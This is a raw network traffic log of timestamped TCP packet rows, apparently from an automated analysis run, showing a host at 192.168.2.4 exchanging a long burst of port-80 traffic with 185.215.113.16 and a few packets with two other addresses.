Nov 18, 2024 21:04:09.280463934 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280463934 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280471087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280481100 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280488968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280504942 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280522108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280523062 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280523062 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280538082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280544996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280553102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280565023 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280570030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280582905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280597925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280601978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280615091 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280631065 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280631065 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280641079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280657053 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280672073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280672073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280672073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280692101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280697107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280711889 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280726910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280728102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280728102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280742884 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280757904 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280757904 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280761957 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.280793905 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.280888081 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.282130003 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.282320023 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.282392025 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.282433987 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.282433987 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.282450914 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.282474041 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.284718037 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.284771919 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.284849882 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.284996986 CET	49800	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.285017967 CET	443	49800	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.297157049 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 21:04:09.300801992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.300837040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.300873995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.300929070 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.300972939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.300982952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301013947 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301018000 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301060915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301060915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301071882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301106930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301135063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301141024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301162958 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301182985 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301193953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301227093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301239014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301280975 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301287889 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301316977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301352978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301352978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301353931 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301403046 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301408052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301449060 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301466942 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301500082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301536083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301546097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301546097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301568985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301604033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301605940 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301605940 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301636934 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301670074 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301680088 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301690102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301723003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301757097 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301759005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301790953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301800013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301800013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301825047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301855087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301867008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301867008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301888943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301897049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301923990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301940918 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301958084 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301991940 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.301999092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.301999092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302026033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302050114 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302076101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302078962 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302112103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302146912 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302154064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302154064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302182913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302186966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302217007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302241087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302254915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302274942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302289009 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302323103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302329063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302329063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302356005 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302391052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302402020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302402020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302424908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302459955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302464008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302464008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302495956 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302530050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302536964 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302536964 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302563906 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302598953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302604914 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302604914 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302633047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302649021 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302666903 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302701950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302710056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302710056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302735090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302759886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302768946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302803040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302819014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302819014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302836895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302845955 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302871943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302908897 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302908897 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.302915096 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.302946091 CET	80	49724	199.232.214.172	192.168.2.4
Nov 18, 2024 21:04:09.302957058 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.303000927 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 21:04:09.333153009 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333218098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333226919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333281040 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333287954 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333338976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333344936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333380938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333403111 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333420038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333451033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333493948 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333539963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333539963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333544970 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333597898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333632946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333642960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333642960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333667994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333702087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333709955 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333709955 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333736897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333748102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333782911 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333790064 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333825111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333834887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333858013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333897114 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333899975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333930969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.333936930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333936930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.333966970 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334001064 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334006071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334006071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334033966 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334041119 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334067106 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334100008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334106922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334106922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334132910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334148884 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334168911 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334203005 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334213018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334213018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334238052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334269047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334271908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334275007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334309101 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334340096 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334342957 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334364891 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334377050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334410906 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334419966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334419966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334445000 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334469080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334480047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334497929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334515095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334526062 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334548950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334583044 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334589005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334589005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334615946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334625006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334650993 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334683895 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334683895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334717989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334722996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334722996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334750891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334773064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334785938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334791899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334819078 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334846020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334851980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334886074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334889889 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334889889 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334919930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334942102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.334955931 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.334968090 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.335020065 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.365895033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.365972042 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366003990 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366009951 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366045952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366045952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366054058 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366081953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366117001 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366131067 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366131067 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366152048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366164923 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366187096 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366215944 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366221905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366229057 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366256952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366272926 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366292953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366296053 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366322994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366333008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366357088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366394043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366394043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.366394043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.366432905 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399533033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399596930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399610043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399665117 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399666071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399699926 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399739027 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399745941 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399760008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399796009 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399820089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399832010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399853945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399866104 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399900913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399918079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399918079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399935007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.399938107 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399980068 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.399988890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400022030 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400048971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400055885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400068045 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400088072 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400136948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400136948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400139093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400192976 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400228977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400243998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400262117 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400269032 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400295019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400300980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400326014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400329113 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400345087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400362968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400383949 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400413990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400435925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400448084 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400464058 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400501013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400530100 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400530100 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400537014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400578976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.400588036 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.400640011 CET	80	49786	185.215.113.16	192.168.2.4
